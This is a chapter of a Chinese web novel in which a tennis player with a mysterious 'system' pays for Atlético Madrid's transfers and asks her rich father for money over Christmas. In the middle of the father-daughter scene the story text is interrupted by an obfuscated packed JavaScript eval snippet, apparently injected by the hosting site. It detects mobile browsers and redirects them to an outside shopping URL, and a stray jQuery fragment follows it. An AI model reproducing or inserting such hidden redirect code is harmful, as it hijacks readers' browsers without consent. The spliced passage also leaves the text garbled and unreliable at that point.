这个消息猝不及防,不仅格里兹曼自己莫名其妙,连带着皇家社会也有点不知所措,但对方给的报价很好——1200万欧元,拆分成两部分,1000w转会费一次性付清,剩下两百万只要新赛季出场超过15次,就打钱。


    几乎可以说是白送给皇家社会,稳赚不赔。


    尤其是在当下这个进球荒窗口,好像卖掉也不错,能赚一笔,再换个可以进球的前锋回来。


    1200万是伊丽莎白跟系统商量过后,决定的最大投入资金。


    【他是皇家社会的青训球员,给1200w,高层乐开花了。给太多,反而让他有压力,到时候表现太呲怎么办?】才不会,我们就等着双前锋带我们起飞了。


    系统的腹诽,伊丽莎白听不见。


    她轻咬着笔盖,两眼闪烁,“天啊,竟然还可以分期付款!不愧是世界第一赚钱运动!”


    伊丽莎白甚至觉得,如果球员可以单独器官上场比赛,资本家们可能会按照“段”数把球员们高价出售。


    ——“我正在拼球星,你也快来试试吧,点开此链接砍一刀,助力我拼出SSR超级巨星。”


    如果按照pdd的助力模式,估计得从球星的名字开始助力,助力成功后,就是头、躯体、实用技能……


    俱乐部和球迷一人一刀。


    下载量一定很客观,新人免费助力可多砍一次。


    幸好这是西甲,这是足球,这是现实世界。


    一个球员也不能砍,因为砍人犯法。


    伊丽莎白洗澡后,换了身舒适宽松的衣服,然后坐诺拉米的车去父亲的家。


    说是父亲的家,也有原因。


    贝卡曼-卡斯蒂利亚是个很花心的人,依靠着他少见、代表曾经一统地区的贵族阶层和多金意义的名字,他一共结过四次婚。


    用大姐卡维恩的话来总结——“父亲对每一任二十二岁的妻子都是完美无瑕的真爱,只是超过二十五岁,就会失去所有冲动的爱意,而对峙法庭。”


    卡维恩的母亲和贝卡曼是青梅竹马,二十二岁结婚,二十三岁生下卡维恩,婚姻持续不到两年,贝卡曼出轨了诺拉米的母亲。


    而后闪离又结婚,同年生下诺拉米。


    两年后又以同样的节奏,在澳洲偶遇伊丽莎白的母亲,生下伊丽莎白。


    这种致命节奏被西班牙小报称之为“罕见患有二十二岁病症的富豪病”。


    但这个节奏在伊丽莎白出生后被打破,大概是因为被华人女性狠狠教训过,对簿公堂,三位前妻联手同他打官司,每个人都从他身上割走了三千万欧元,惨痛的教训让贝卡曼学会管好自己。


    直到四年前,伊丽莎白十四岁生日,贝卡曼才宣布自己即将跟第四任妻子结婚。


    同年生下如今最小的弟弟——阿斯利。


    婚姻一直持续至今。


    贝卡曼和妻子没有住在原先的郊区,而是换到了卡斯蒂利亚过往流传下来的古董宅,重新修建后,卡维恩也搬了进去。


    因为那离她上班很近。


    贝卡曼也很欢迎大女儿回家,这样小儿子就有人帮忙照看,而他则可以安心和第四任妻子相爱。


    诺拉米下车的时候,一直在抱怨这个古董宅的停车位很不方便,“又窄又小。”


    “因为这不是给我们准备的。”伊丽莎白很是淡然地说道:“这是给他夫人准备的停车位,我们在这个家里面,早就死在两岁之后。”


    贝卡曼不会亏待任何一个孩子,但在后面重组的家庭里妄想拥有一个属于自己的位置,那是绝对不可能的。


    伊丽莎白很清楚,她们姐妹三的关系不错,是因为有卡维恩在其中串联,而那个火速跟贝卡曼离婚的女人拥有广阔的胸襟和气量。


    她教卡维恩怎么样对待家人,收拢姊妹的心,维持着卡斯蒂利亚家的体面,并且在手中攥紧筹码。


    伊丽莎白并不讨厌大姐有目的地去做这些。


    因为行为会有目的,心又不会撒谎。卡维恩爱家里每一个人,贝卡曼、诺拉米、伊丽莎白,甚至是阿斯利。


    而卡维恩喜欢和想要维持的东西,两个妹妹自然也会帮忙,这是亲情不自然地流动。


    “你说得对,反正我明年绝对不会再来了。”诺拉米厌烦地将车钥匙塞进包里,气冲冲地跨步跑上台阶。


    伊丽莎白微微耸肩,跟在后头。


    屋子里面正在播放圣诞特别节目,阿斯利抱着不知道从哪里来的积木枪,光着脚踩在地板上,冲进门的诺拉米和伊丽莎白轰轰射击。


    嘴里面还配音着“啪啪啪啪。”


    卡维恩和未婚夫正坐在沙发上聊天,餐桌那边自有人忙碌。


    诺拉米本来就一肚子火,被阿斯利拿着积木枪捅了一下手肘后,直接爆发,拎起小屁孩就往沙发走去,把他压在卡维恩腿上,往屁股上就是狠狠两下。


    “今天是圣诞节,你是不是想我好好揍你一顿。”


    阿斯利跟按不住的小野猪一样哼哼唧唧地往卡维恩身上爬,手脚并用,“大姐,大姐!”


    伊丽莎白朝管家微微点头,然后随意地用热毛巾擦手后,坐到单人沙发上吃水果。


    一直到阿斯利瘪着嘴掉两粒小珍珠,才被诺拉米粗鲁地抱起来,用纸巾叠小乌龟哄人开心。


    “没想到圣诞节你竟然还会回来和我们一起过。”卡维恩眼眸微弯,朝坐在一旁不说话的小妹妹笑道:“看你也坐不住,手上应该没有钱了吧。”


    “……”伊丽莎白痛苦地皱眉,嘟囔道:“这种事情已经全马德里都知道了!”


    如果不是翻找银行私人信息犯法,伊丽莎白觉得那些报纸为了数不尽的流量,都得把她银行卡余额印成大标题放在首页。


    “上次跟你说的合同还有效,你再帮我拍一个春季广告,我给你一百五十万的报价。”卡维恩又提出先前被妹妹拒绝的春装服饰广告。


    那个时候伊丽莎白连续两站250赛夺冠,分别是布达佩斯站和巴勒莫站,状态极佳,一共进账326分,到手3.7w美元和去掉税收后2.5w欧元。


    吃喝不愁。


    反正养团队的钱是贝卡曼每个月给的零花在支付。


    伊丽莎白的衣服又统统被卡维恩用年薪五十万欧的代言合同买断,主要穿旗下公司的X线,代表X世代的青春靓丽形象,颜色大多是浅色系。


    所以伊丽莎白比赛赢的钱当作零花,完全够用。


    她才会拒绝卡维恩的想要拍摄广告的提议。


    但是现在……


    众所周知伊丽莎白得抢银行才能跟上马竞碎钞机的速度。


    卡维恩当然是趁火打劫(不是),雪中送炭,给妹妹送点钱,顺便让代言人再活跃一点,赛场上打出好成绩,让衣服销量往上飙升,自己多搞几条生产线,赚得盆满钵满。


    伊丽莎白含泪答应,“我不接受分期。”


    “放心,直接打你卡上。”


    “感恩!”伊丽莎白觉得卡维恩都不是大姐了,而是身后插着翅膀的天使。


    救赎了自己的命运。


    诺拉米控制住阿斯利,一手捏着他肉嘟嘟的脸,威胁道:“你再敢扭来扭去,明天你就跟我上网球场,我们好好练一下。”


    “不要!我是足球人!”阿斯利张嘴嘟嘟道:“我以后可是要在伯纳乌踢球的人!”


    “嗤,你去伯纳乌养护草地就有份。”诺拉米嫌弃小屁孩烦,把人放落地,没一会儿阿斯利就自己屁颠屁颠跑开了。


    伊丽莎白追随着他远去的背影,而后抬眸就看到了从楼上要下来的爸爸,她赶忙起身朝人走去,昂首恳请道:“爸爸,吃饭之前,我想跟你聊点事。”


    贝卡曼说:“吃完饭也可以再聊。”


    “我怕吃完饭,我就没心情了。”伊丽莎白朝比自己年岁大不了多少的后妈抱歉一笑,而后强硬地站在原地等贝卡曼的回答。


    “那就去书房吧。”


    “你们先聊,我再去看看厨房里准备的怎么样了。”女人尴尬地从楼梯间离开。


    伊丽莎白跟着贝卡曼走进书房。


    门刚关上,贝卡曼甚至还没来得及开口问小女儿想喝点什么。


    伊丽莎白就痛快伸手,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478696|201624||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “爸爸,年初的时候你说会在圣诞再送我一座小岛,我没那么喜欢晒太阳,你可以折现给我吗?”


    贝卡曼的话被哽在喉间,看着伸到眼前布满茧子的手。


    眼前这个一张口就要钱的女儿,已经无法跟小时候训练到手磨出血泡,而后抱着他颈项张嘴大哭喊疼的小女孩合二为一。


    那时候,伊丽莎白最爱的是爸爸。


    现在最爱的是钱。


    “当然可以,折现以后,我按个人所得税抽走百分之四十,剩下六十分期到付。”贝卡曼放松地倚靠在椅背上,“伊莎,投资一个东西,你不能盲目地扔钱进去。那样会让人心膨胀。”


    “我知道,爸爸。”伊丽莎白双手撑着桌面,无比坚定道:“可是我很相信他们一定会赢的,在不久后的将来。我需要这笔投资去买一个人,为马竞带来胜利。如果投资不做到尾,不全面,那才是真的把钱往水里扔。”


    “你这段时间已经花了很多钱,可是你的收入和你的支出不成正比。”贝卡曼随意地抽了一张白纸,开始给伊丽莎白计算。


    “你去年打了一整年的ITF成人赛事,中间有四站既参加了女双也报名了女单,因为排名不够,很多场次都是从资格赛打起。一共赢下奖金60万欧不到,1100多积分。里面有一大半的钱是因为你法网打得不错,如果法网那次没有意外闯入四分之一决赛,你现在就得拿着碗去街上乞讨了。”


    “这还没有算扣税。”贝卡曼反问道:“你知道你一年养团队要花多少钱吗?他们跟着你四处飞,为你提供及时的情绪价值、医疗服务以及各种训练计划。”


    “你和诺拉米一年将近花掉两百万欧元,这还没有细算过。”


    “诺拉米排名高,收入远大于支出,再加上去年拿了澳网,在西班牙名声大噪,代言收入一年两千万欧,已经回本。”


    “伊莎,我跟你说这些,并不是爸爸觉得你花了很多钱,没有带来足够的回报。我只是希望你冷静一下,体育竞技,花钱并不能够直观体现在成绩上。你一直这样子无限兑换下去,跟印钞机没区别。”


    伊丽莎白当然明白这个问题。


    可是马竞能不能赢得比赛,能不能赢得冠军奖杯,已经关乎到她的性命。


    不花钱补强=死。


    花钱补强补的不行=死。


    横竖都是死,那还是多花钱保命吧。


    伊丽莎白微微蹙眉,强硬道:“爸爸,我知道你的意思。但我还是希望你能够把钱给我。我们可以谈……”


    “你一次性支付我全部,百分之六十我按分期进行付款,携带附加条件,如果我今年能够拿到一个大满贯或者两个1000赛冠军,这笔钱我们一笔勾销,我将不再还款。”


    “这样您总不会觉得自己亏钱了吧。”


    贝卡曼闻言,微微挑眉,“对自己这么自信?”


    他太了解伊丽莎白了。


    如果说诺拉米是优雅的激进分子,对所有事情都要求做到极致,那么伊丽莎白就是纯粹的摆子。


    读书,可以,不那么差,不那么好就行。


    拍广告,接代言,不需要多富有,够吃够喝够玩,她就不想再深入合作了。


    打网球更是,赢当然开心,输也不难过。


    反正明天起来还是要打网球,又不是一睁眼全人类都死掉了。


    她享受拿冠军,也享受不拿冠军。


    曾经带她的第一任网球教练说:“诺拉米要是能把野心分你一半,你一定会成为更出色的运动员。”


    自信、乐观、还拥有绝对的坚韧,却唯独没有对永远追求第一的野心,上帝在绘制伊丽莎白的时候,终究是让她缺失了一块。


    可现在贝卡曼听到了什么?


    他的小女儿一字一句说:“我不会比任何人差的,爸爸。”


    “诺拉米可以做到的事情,我也可以。”


    “我会证明给你看,你投资给我的每一分钱,都会得到变现和回报。而我也相信马竞和西蒙尼,我投资给他们的每一分钱,会给我带来冠军。”


    “爸爸,我想赢!”